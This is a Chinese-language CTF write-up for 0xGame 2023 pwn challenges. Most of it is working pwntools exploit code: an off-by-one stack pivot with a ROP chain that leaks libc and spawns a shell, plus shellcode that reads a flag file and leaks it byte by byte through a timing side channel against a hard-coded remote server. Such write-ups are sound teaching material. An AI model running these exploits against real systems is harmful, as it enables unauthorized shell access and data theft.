0xgame2023 Pwn Wp
Week3 没了溢出,你能秒我?
1 2 3 4 5 6 7 8
| int vuln() { char v1[256];
puts("Try perform ROP!"); custom_gets_off_by_one_or_null((__int64)v1, 256); return puts("Good luck!"); }
|
custom_gets_off_by_one_or_null里存在一字节溢出,使得rbp低位被\x00覆盖。经过vuln和main两个函数的leave;ret之后,rsp会指向我们低位写0的rbp,从而完成抬栈。
而后我们可以在栈中写ROP链,赌原先的rbp的低位值足够大,从而在被\x00覆盖后有足够大的空间来写ROP链,当然rop链尽量写的短一点最好。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context(os='linux',arch='amd64',log_level='debug') elf=ELF('./pwn') libc=ELF('./libc.so.6') debug=1 if debug: io=process('./pwn') else: io=remote('')
pop_rdi=0x401393 pop_rsi=0x401391 payload=p64(pop_rdi+1)*28+flat(pop_rdi,elf.got['puts'],elf.plt['puts'],0x401259) print(hex(elf.sym.main)) io.sendafter('Try perform ROP!\n',payload) io.recvline() libcbase=u64(io.recvline()[:-1].ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) payload=p64(pop_rdi+1)*25+flat(pop_rdi,libcbase+0x1b45bd,pop_rsi,0,0,libcbase+0x52290) io.sendafter('Try perform ROP!\n',payload) io.interactive()
|
小注意:
再回到函数主体时,入口不能直接是函数地址,因为其第一条指令为push rbp,显然矛盾,移到下一条指令.
再回到main函数的入口时不能直接用函数的起始地址,如下图,起始地址的第一条指令为push rbp,显然nn有所冲突,所以下移到其下一条指令。

Rop链前部分写ret指令
Week4
读入十个字节去执行,可以实现一个read。然后在ORloop进行侧信道攻击。把flag读入内存,然后判断是不是指定值,如果不是就退出,是就进入死循环。依次判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * context(arch='amd64', log_level='error') def read_v(offset, v): p = remote('8.130.35.16', 54000) pay2 = shellcraft.open('flag')+shellcraft.read('rax',target,0x40) pay2 += f'lab: mov rax, 0x{offset:x};mov cl,byte ptr [rax]; cmp cl, {v}; je lab;' + shellcraft.exit(0) s2 = b'\x90'*0x10+asm(pay2) pay = "xor edi,edi;push rdx;pop rsi;syscall;" p.sendafter(b"Now show me your code:\n", asm(pay).ljust(0x10, b'\x90')+s2) p.recvline() try: p.recv(timeout=0.3) p.close() return True except: p.close() return False target = 0x20230200 name = 'flag' dic = b'0123456789-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}' name = '0xGame{' for _ in range(50): for i in dic: if read_v(target+len(name), i): name += chr(i) print('name:',name) break else: print(chr(i), end=' ')
|
也可以二分法查找,加速爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch='amd64', os='linux', log_level='info') flag="0xGame{" while 1: curr_pos=len(flag) left=32 right=126 while left!=right: warning(f"{curr_pos}: {left}~{right}") #s=process("../dist/pwn") s=remote("8.130.35.16",54000) #pause() s.sendafter(b"code:\n",asm("push rdx;pop rsi;push rdx;pop r15;xor rdi,rdi;xor rax,rax;syscall")) mid=int((left+right)/2) scbase=f""" push r15 pop rdi xor rsi,rsi xor rdx,rdx push 2 pop rax syscall push rdi pop rsi add rsi,0x600 week4-pwn-wp.md 2023-10-31 3 / 4 push rax pop rdi xor rax,rax inc dh syscall push rsi pop r14 cmp byte ptr [r14+{curr_pos}],{mid} ja loop push 0x3b pop rax syscall loop: jmp loop """ s.recvline() #pause() s.send(b"flag\0".ljust(0x10,b"\x90")+asm(scbase)) #pause() try: dat=s.recv(timeout=1) except EOFError: right=mid s.close() continue left=mid+1 #pause() s.close() flag+=chr(left) warning(flag) if flag[-1]=="}": success(flag) exit(0)
|